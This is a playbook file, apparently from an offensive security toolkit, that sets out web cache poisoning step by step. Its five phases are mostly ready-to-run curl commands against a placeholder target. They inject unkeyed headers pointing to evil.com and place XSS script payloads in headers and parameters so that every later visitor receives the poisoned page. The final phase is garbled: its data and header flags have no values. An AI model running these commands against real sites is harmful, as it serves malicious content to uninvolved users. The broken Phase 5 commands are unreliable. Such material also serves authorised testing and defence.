| name | attack-cache-poison |
| description | Web cache poisoning — unkeyed header/parameter injection to serve malicious content to all users |
| category | web-application |
| version | 1.0 |
| author | cyberstrike-official |
| tags | ["cache-poisoning","web","xss","attack"] |
| tech_stack | ["web"] |
| cwe_ids | ["CWE-444","CWE-525"] |
| chains_with | ["attack-host-header","attack-open-redirect"] |
| prerequisites | [] |
| severity_boost | {"attack-host-header":"Host header + cache = stored XSS/redirect affecting all users"} |
Web Cache Poisoning
Objective
Inject malicious content into cached responses via unkeyed inputs (headers, parameters) so that subsequent users receive the poisoned response.
Testing Methodology
Phase 1: Identify Cache Behavior
curl -s -D- https://TARGET/ | grep -i "x-cache\|age\|cache-control\|cf-cache\|x-varnish"
curl -s -D- https://TARGET/ | grep -i "vary"
Phase 2: Find Unkeyed Inputs
Test headers that are reflected in response but NOT part of cache key:
curl -s https://TARGET/ -H "X-Forwarded-Host: evil.com" | grep "evil.com"
curl -s https://TARGET/ -H "X-Forwarded-Scheme: nothttps" | grep "redirect"
curl -s https://TARGET/ -H "X-Original-URL: /admin"
curl -s https://TARGET/ -H "X-Forwarded-Port: 1234"
Phase 3: Cache Poisoning via Unkeyed Header
curl -s https://TARGET/ \
-H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>"
curl -s https://TARGET/ | grep "alert(1)"
Phase 4: Unkeyed Parameter Poisoning
curl -s "https://TARGET/?cb=123" -D- | grep "x-cache"
curl -s "https://TARGET/?utm_source=evil" | grep "evil"
curl -s "https://TARGET/?evil=<script>alert(1)</script>"
Phase 5: Fat GET / POST-based Poisoning
curl -s https://TARGET/ -X GET -d
curl -s https://TARGET/ -X POST \
-H \
-d